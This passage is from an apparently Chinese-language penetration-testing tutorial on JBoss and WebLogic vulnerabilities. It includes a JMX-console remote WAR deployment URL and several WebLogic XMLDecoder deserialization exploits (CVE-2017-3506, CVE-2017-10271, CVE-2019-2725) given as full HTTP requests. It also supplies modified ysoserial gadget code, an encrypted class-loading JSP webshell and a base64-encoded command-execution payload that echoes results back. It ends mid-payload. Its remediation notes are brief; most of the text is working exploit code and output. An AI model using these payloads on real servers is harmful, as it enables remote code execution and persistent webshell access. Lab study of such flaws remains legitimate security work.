http://192.168.31.205:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.31.205/lxh.war4、訪問 http://xx.xx.xx.xx/[warname]/shellname.jsp
修復建議
-
增加密碼措施,防止未授權訪問。
1)在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\jboss-web.xml開啟安全配置。
2)在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\web.xml開啟安全認證。
3)在C:\jboss-6.1.0.Final\server\default\conf\login-config.xml中可以看到JMX Console的用戶密碼配置位置。
<application-policy name="jmx-console">
<authentication>
<login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"
flag="required">
<module-option name="usersProperties">props/jmx-console-users.properties</module-option>
<module-option name="rolesProperties">props/jmx-console-roles.properties</module-option>
</login-module>
</authentication>
4)配置用戶密碼以及用戶權限,這里新增lxhsec用戶。
C:\jboss-6.1.0.Final\common\deploy\jmx-console.war
6、WebLogic
WebLogic是美國Oracle公司出品的一個applicationserver,確切的說是一個基於JAVAEE架構的中間件,WebLogic是用於開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。將Java的動態功能和Java Enterprise標准的安全性引入大型網絡應用的開發、集成、部署和管理之中。
默認端口:7001
測試環境版本:10.3.6
下載地址:
https://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_win32.exe?AuthParam=1559386164_88cf328d83f60337f08c2c94ee292954
下載完成后雙擊運行,一直點下一步就ok了。
安裝完成之后,在
C:\Oracle\Middleware\user_projects\domains\base_domain
這個目錄雙擊startWebLogic.cmd啟動Weblogic服務。
瀏覽器訪問:http://127.0.0.1:7001/, 界面上出現Error 404–Not Found,即啟動成功。
設置外網訪問,在 域結構 -> 環境 -> 服務器
右邊選擇相應的Server(管理服務器),打開進行編輯,在監聽地址:中填入0.0.0.0,保存后,重啟Weblogic服務器即可。

XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)
Weblogic的WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞,導致可執行任意命令。
訪問 /wls-wsat/CoordinatorPortType
返回如下頁面,則可能存在此漏洞。
漏洞不僅存在於 /wls-wsat/CoordinatorPortType 。
只要是在wls-wsat包中的Uri皆受到影響,可以查看web.xml得知所有受到影響的Uri,路徑為:C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml
默認受到影響的Uri如下:
構造 寫入文件 數據包發送,如下,其中Content-Type需要等於text/xml,否則可能導致XMLDecoder不解析。/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
訪問 /bea_wls_internal/test2.jsp,如下:POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: 127.0.0.1:7001
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Content-Length: 629
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test777776666666"); %>
]]>
</string>
</void>
<void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
不熟悉JAVA的小伙伴們可能會對這個構造的XML有所疑惑,可以參考下這篇文章。
CVE-2017-3506的補丁加了驗證函數,補丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 驗證Payload中的節點是否存在object Tag。
private void validate(InputStream is){
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser =factory.newSAXParser();
parser.parse(is, newDefaultHandler() {
public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch(ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXExceptionvar6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOExceptionvar7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
我們將object換成void就可繞過此補丁,產生了CVE-2017-10271。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test777776666666"); %>
]]>
</string>
</void>
<void method="close"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
修復建議
1)安裝補丁。
2)或刪除wls-wsat組件,再次訪問返回404.
1.刪除C:\Oracle\Middleware\wlserver_10.3\server\lib\wls-wsat.war
2.刪除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\.internal\wls-wsat.war
3.刪除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat
4.重啟Weblogic
Note:wls-wsat.war屬於一級應用包,對其進行移除或更名操作可能造成未知的后果,Oracle官方不建議對其進行此類操作。
Weblogic wls9_async_response,wls-wsat 反序列化遠程代碼執行漏洞(CVE-2019-2725)
影響組件:bea_wls9_async_response.war, wls-wsat.war
影響版本:10.3.6.0, 12.1.3.0
bea_wls9_async_response.war
訪問 /_async/AsyncResponseService
返回如下頁面,則可能存在此漏洞。
漏洞不僅存在於 /_async/AsyncResponseService
只要是在bea_wls9_async_response包中的Uri皆受到影響,可以查看web.xml得知所有受到影響的Uri,路徑為:C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml
默認受到影響的Uri如下:
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
wls-wsat.war受影響的URI見XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)
此漏洞實際上是CVE-2017-10271的又一入口,那么它是怎么繞過CVE-2017-10271的補丁,執行REC的呢。
先來看一下CVE-2017-10271的補丁代碼:
其中CVE-2017-3506的補丁是過濾了object,CVE-2017-10271的補丁是過濾了new,method標簽,且void后面只能跟index,array后面可以跟class,但是必須要是byte類型的。public void startElement(String uri, String localName, String qName, Attributesattributes)throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength();++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))){
throw new IllegalStateException("Invalid attribute for elementvoid:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 =attributes.getValue("class");
if(var9 != null &&!var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is notvalid for array element.");
}
繞過CVE-2017-10271補丁是因為class標簽未被過濾所導致的,這點我們可以從Oracle 發布的CVE-2019-2725補丁看出來,
CVE-2019-2725補丁新增部分內容,將class加入了黑名單,限制了array標簽中的byte長度。如下:
else if (qName.equalsIgnoreCase("class")) {
throw new IllegalStateException("Invalid element qName:class");
}
else {
if (qName.equalsIgnoreCase("array")) {
String attClass = attributes.getValue("class");
if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
String lengthString = attributes.getValue("length");
if (lengthString != null) {
try {
int length = Integer.valueOf(lengthString);
if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException("Exceed array length limitation");
}
this.overallarraylength += length;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException("Exceed over all array limitation.");
}
} catch (NumberFormatException var8) {
復現:Weblogic 10.3.6 利用oracle.toplink.internal.sessions.UnitOfWorkChangeSet構造函數執行readObject().
構造函數參考:
public UnitOfWorkChangeSet(byte[] bytes) throws java.io.IOException, ClassNotFoundException {
java.io.ByteArrayInputStream byteIn = new java.io.ByteArrayInputStream(bytes);
ObjectInputStream objectIn = new ObjectInputStream(byteIn);
//bug 4416412: allChangeSets set directly instead of using setInternalAllChangeSets
allChangeSets = (IdentityHashtable)objectIn.readObject();
deletedObjects = (IdentityHashtable)objectIn.readObject();
}
UnitOfWorkChangeSet的參數是一個Byte數組,因此我們需要將Payload轉換為Byte[].
利用ysoserial生成Payload
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar Jdk7u21 "cmd /c echo lxhsec > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/echoxxxxx.txt" > payload.txt
然后使用下列代碼,將Payload進行轉換成Byte[]
import java.beans.XMLEncoder;
import java.io.*;
public class Test{
public static void main(String[] args) throws Exception {
File file = new File("C:\\Users\\lxhsec\\Downloads\\JRE8u20_RCE_Gadget-master\\exploit.ser");
//讀取ysoserial文件生成的payload
FileInputStream fileInputStream = new FileInputStream(file);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream((int) file.length());
int buf_size=1024;
byte[] buffer=new byte[buf_size];
int len=0;
while(-1 != (len=fileInputStream.read(buffer,0,buf_size))){
byteArrayOutputStream.write(buffer,0,len);
}
BufferedOutputStream oop = new BufferedOutputStream(new FileOutputStream(new File("C:\\Users\\lxhsec\\Downloads\\ysoserial-master\\target\\result.txt")));
//使用jdk的xmlencoder把byte數組寫入到 result.txt
XMLEncoder xmlEncoder = new XMLEncoder(oop);
xmlEncoder.flush();
xmlEncoder.writeObject(byteArrayOutputStream.toByteArray());
xmlEncoder.close();
byteArrayOutputStream.close();
fileInputStream.close();
}
}
拼接Payload
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept:*/*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml
Content-Length: 178338
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void>
//此處填寫上面生成的XML。
</void></class></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
效果:
使用ysoserial生成的只能適用於Windows平台,如果在Linux平台使用,則又要進行一次編譯,兼容性有點不太好,因此我們可以
將ysoserial稍稍的進行更改。
這里我們將ysoserial的Gadgets.java文件進行更改。路徑為:ysoserial-master\src\main\java\ysoserial\payloads\util\Gadgets.java
.
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// ---Start
String cmd = "";
if(command.startsWith("filename:")) {
String filename = command.substring(9);
try {
File file = new File(filename);
if (file.exists()) {
FileReader reader = new FileReader(file);
BufferedReader br = new BufferedReader(reader);
StringBuffer sb = new StringBuffer("");
String line = "";
while ((line = br.readLine()) != null) {
sb.append(line);
sb.append("\r\n");
}
cmd = sb.toString();
} else {
System.err.println(String.format("filename %s not exists!", filename));
System.exit(0);
}
} catch (IOException e) {
e.printStackTrace();
}
}else {
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
}
System.err.println(cmd);
// ---end
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
保存后重新編譯mvn clean package -DskipTests
.
編譯使用的是JDK1.8,修改后的ysoserial,將命令執行,轉換成了代碼執行。整個兼容兩邊平台的代碼TestCode.txt。
//TestCode.txt
String WEB_PATH = "servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/echolxhsec.jsp";
String ShellContent = "<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\"pass\")!=null){String k=(\"\"+UUID.randomUUID()).replace(\"-\",\"\").substring(16);session.putValue(\"u\",k);out.print(k);return;}Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec((session.getValue(\"u\")+\"\").getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>";
try {
java.io.PrintWriter printWriter = new java.io.PrintWriter(WEB_PATH);
printWriter.println(ShellContent);
printWriter.close();
} catch (Exception e) {
e.printStackTrace();
}
執行:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 "filename:C:\Users\lxhsec\Desktop\TestCode.txt" > result.txt
reuslt.txt轉換成Byte[]后執行,如下:
訪問:http://127.0.0.1:7001/_async/echolxhsec.jsp
Weblogic 12.1.3 利用org.slf4j.ext.EventData構造函數執行readObject().
oracle.toplink.internal.sessions.UnitOfWorkChangeSet在Weblogic 12.1.3中不存在,因此需要重新找利用鏈。
Weblogic的黑名單只會過濾傳入的第一層XML,使用org.slf4j.ext.EventData傳入的第一層XML是String,因此繞過黑名單檢測。
構造函數參考
public EventData(String xml) {
ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes());
try {
XMLDecoder decoder = new XMLDecoder(bais);
this.eventData = (Map<String, Object>) decoder.readObject();
} catch (Exception e) {
throw new EventException("Error decoding " + xml, e);
}
}
構造寫入文件Payload,如下。
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.124.129:7001
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml
Content-Length: 962
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><class><string>org.slf4j.ext.EventData</string><void><string>
<![CDATA[<java>
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string>lxhsecTest</string>
</void>
<void method="close"/>
</object>
</java>]]></string></void></class>
</void></class></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
結果:
wls-wsat.war
Weblogic 10.3.6 回顯構造.
bea_wls9_async_response.war的反序列化鏈無法造成回顯,但是wls-wsat.war的卻可以。
訪問:/wls-wsat/CoordinatorPortType
以下測試均在 JDK 1.6.0_45 64bit 下進行。
拿lufei大佬的工具改改。
這里我直接使用lufei的工具,發現 > 等特殊字符,會被當成字符串。
這里將工具的exec函數更改,如下:
import java.io.*;
public class ResultBaseExec {
public static String exec(String cmd) throws Exception {
String osTyp = System.getProperty("os.name");
Process p;
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
//執行命令
// p = Runtime.getRuntime().exec("cmd /c " + cmd);
p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
}else{
//執行命令
// p = Runtime.getRuntime().exec("/bin/sh -c " + cmd);
p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
}
InputStream fis=p.getInputStream();
InputStreamReader isr=new InputStreamReader(fis);
BufferedReader br=new BufferedReader(isr);
String line=null;
String result = "";
while((line=br.readLine())!=null)
{
result = result + line;
}
return result;
}
}
編譯成.class文件"C:\Program Files\Java\jdk1.6.0_45\bin\javac.exe" C:\Users\lxhsec\Downloads\WeblogicCode\src\main\java\ResultBaseExec.java
接着將.class轉換成Base64,當然你轉成hex這些也可以。
import sun.misc.BASE64Encoder;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
public class toBase64 {
public static byte[] toByteArray(InputStream in) throws IOException, IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[1024 * 4];
int n = 0;
while ((n = in.read(buffer)) != -1) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
public static void main(final String[] args) throws Exception {
BASE64Encoder base64Encoder = new BASE64Encoder();
//class文件路徑
InputStream in = new FileInputStream("C:\\Users\\lxhsec\\Downloads\\WeblogicCode\\src\\main\\java\\ResultBaseExec.class");
byte[] data = toByteArray(in);
in.close();
String encode = base64Encoder.encodeBuffer(data);
System.out.println(encode);
}
}
yv66vgAAADIAXAoAGgArCAAsCgAtAC4KAAgALwgAMAoACAAxCgAyADMHADQIADUIADYKADIANwgAOAgAOQoAOgA7BwA8CgAPAD0HAD4KABEAPwgAQAoAEQBBBwBCCgAVACsKABUAQwoAFQBEBwBFBwBGAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADQHAEcHAEgHADwHAD4BAApFeGNlcHRpb25zBwBJAQAKU291cmNlRmlsZQEAE1Jlc3VsdEJhc2VFeGVjLmphdmEMABsAHAEAB29zLm5hbWUHAEoMAEsAIAwATABNAQADd2luDABOAE8HAFAMAFEAUgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAB8AUwEABy9iaW4vc2gBAAItYwcARwwAVABVAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAGwBWAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBXAQAADABYAE0BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAWQBaDABbAE0BAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABkAGgAAAAAAAgABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAMACQAfACAAAgAdAAABCwAFAAgAAACTEgK4AANMK8YAKyu2AAQSBbYABpkAH7gABwa9AAhZAxIJU1kEEgpTWQUqU7YAC02nABy4AAcGvQAIWQMSDFNZBBINU1kFKlO2AAtNLLYADk67AA9ZLbcAEDoEuwARWRkEtwASOgUBOgYSEzoHGQW2ABRZOgbGABy7ABVZtwAWGQe2ABcZBrYAF7YAGDoHp//fGQewAAAAAgAeAAAAMgAMAAAABQAGAAcAFgAJADIADABLAA4AUAAPAFoAEABlABEAaAASAGwAEwB3ABUAkAAXACEAAAAuAAT8ADIHACL8ABgHACP/ACAACAcAIgcAIgcAIwcAJAcAJQcAJgcAIgcAIgAAIwAnAAAABAABACgAAQApAAAAAgAq
生成之后使用test_code測試,發現>被解析成了我們想要的。
替換
clazz.makeClassInitializer()
.insertAfter(""
+ "String ua = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader(\"lfcmd\");\n"
+ "String R = \"yv66vgAAADIAXAoAGgArCAAsCgAtAC4KAAgALwgAMAoACAAxCgAyADMHADQIADUIADYKADIANwgAOAgAOQoAOgA7BwA8CgAPAD0HAD4KABEAPwgAQAoAEQBBBwBCCgAVACsKABUAQwoAFQBEBwBFBwBGAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADQHAEcHAEgHADwHAD4BAApFeGNlcHRpb25zBwBJAQAKU291cmNlRmlsZQEAE1Jlc3VsdEJhc2VFeGVjLmphdmEMABsAHAEAB29zLm5hbWUHAEoMAEsAIAwATABNAQADd2luDABOAE8HAFAMAFEAUgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAB8AUwEABy9iaW4vc2gBAAItYwcARwwAVABVAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAGwBWAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBXAQAADABYAE0BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAWQBaDABbAE0BAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABkAGgAAAAAAAgABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAMACQAfACAAAgAdAAABCwAFAAgAAACTEgK4AANMK8YAKyu2AAQSBbYABpkAH7gABwa9AAhZAxIJU1kEEgpTWQUqU7YAC02nABy4AAcGvQAIWQMSDFNZBBINU1kFKlO2AAtNLLYADk67AA9ZLbcAEDoEuwARWRkEtwASOgUBOgYSEzoHGQW2ABRZOgbGABy7ABVZtwAWGQe2ABcZBrYAF7YAGDoHp//fGQewAAAAAgAeAAAAMgAMAAAABQAGAAcAFgAJADIADABLAA4AUAAPAFoAEABlABEAaAASAGwAEwB3ABUAkAAXACEAAAAuAAT8ADIHACL8ABgHACP/ACAACAcAIgcAIgcAIwcAJAcAJQcAJgcAIgcAIgAAIwAnAAAABAABACgAAQApAAAAAgAq\";"
+ "sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();"
+ "byte[] bt = decoder.decodeBuffer(R);"
+ "org.mozilla.classfile.DefiningClassLoader cls = new org.mozilla.classfile.DefiningClassLoader();"
+ "Class cl = cls.defineClass(\"ResultBaseExec\",bt);"
+ "java.lang.reflect.Method m = cl.getMethod(\"exec\",new Class[]{String.class});"
+ "Object object = m.invoke(cl.newInstance(),new Object[]{ua});"
+ "weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();\n"
+ "weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();\n"
+ "outputStream.writeStream(new weblogic.xml.util.StringInputStream(object.toString()));\n"
+ "outputStream.flush();\n"
+ "response.getWriter().write(\"\");"
+ "");
然后運行JDK7u21,編譯生成Byte[], 執行。
Weblogic 12.1.3 回顯構造.
將
clazz.makeClassInitializer()
.insertAfter(""
+ "String ua = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader(\"lfcmd\");\n"
+ "String R = \"yv66vgAAADIAXAoAGgArCAAsCgAtAC4KAAgALwgAMAoACAAxCgAyADMHADQIADUIADYKADIANwgAOAgAOQoAOgA7BwA8CgAPAD0HAD4KABEAPwgAQAoAEQBBBwBCCgAVACsKABUAQwoAFQBEBwBFBwBGAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADQHAEcHAEgHADwHAD4BAApFeGNlcHRpb25zBwBJAQAKU291cmNlRmlsZQEAE1Jlc3VsdEJhc2VFeGVjLmphdmEMABsAHAEAB29zLm5hbWUHAEoMAEsAIAwATABNAQADd2luDABOAE8HAFAMAFEAUgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAB8AUwEABy9iaW4vc2gBAAItYwcARwwAVABVAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAGwBWAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBXAQAADABYAE0BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAWQBaDABbAE0BAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABkAGgAAAAAAAgABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAMACQAfACAAAgAdAAABCwAFAAgAAACTEgK4AANMK8Y